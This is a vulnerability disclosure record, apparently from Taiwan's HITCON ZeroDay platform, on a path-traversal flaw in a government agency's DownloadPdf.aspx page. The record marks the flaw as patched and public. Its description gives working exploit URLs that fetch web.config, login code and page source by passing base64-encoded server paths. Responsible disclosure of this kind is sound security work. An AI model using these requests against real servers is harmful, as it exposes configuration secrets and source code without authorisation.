Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2016-00123
- Vendor: 內政部營建署
- Title: 內政部營建署 政府單位 - Directory Transversal
- Introduction: 可下載所有伺服器檔案,包括web.config,原始碼下載等
處理狀態
目前狀態
公開
Last Update : 2017/02/02
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2016/07/23 11:14:34 : 新提交 (由 jacky5112 更新此狀態)
- 2016/07/27 01:37:53 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2016/08/10 11:50:02 : 轉報至合作單位 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2017/02/02 03:00:07 : 確認已修補 (由 HITCON ZeroDay 平台自動更新)
- 2017/02/02 03:00:07 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2016-00123
- 通報者:qoo24571864 (jacky5112)
- 風險:高
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
http://twur.cpami.gov.tw/common/DownloadPdf.aspx
敘述
- google hacking, 發現下載路徑是用base64處理過,發現是「實體路徑」
- 下載「downloadpdf.aspx.cs」原始碼
http://twur.cpami.gov.tw/common/DownloadPdf.aspx?FILEPATH=RDpcV2ViXGNvbW1vblxEb3dubG9hZFBkZi5hc3B4LmNz - 下載「web.config」
http://twur.cpami.gov.tw/common/DownloadPdf.aspx?FILEPATH=RDpcV2ViXHdlYi5jb25maWc= - 下載「login.aspx.cs」
http://twur.cpami.gov.tw/common/DownloadPdf.aspx?FILEPATH=RDpcV2ViXGxvZ2luLmFzcHguY3M=
擷圖
留言討論
登入後留言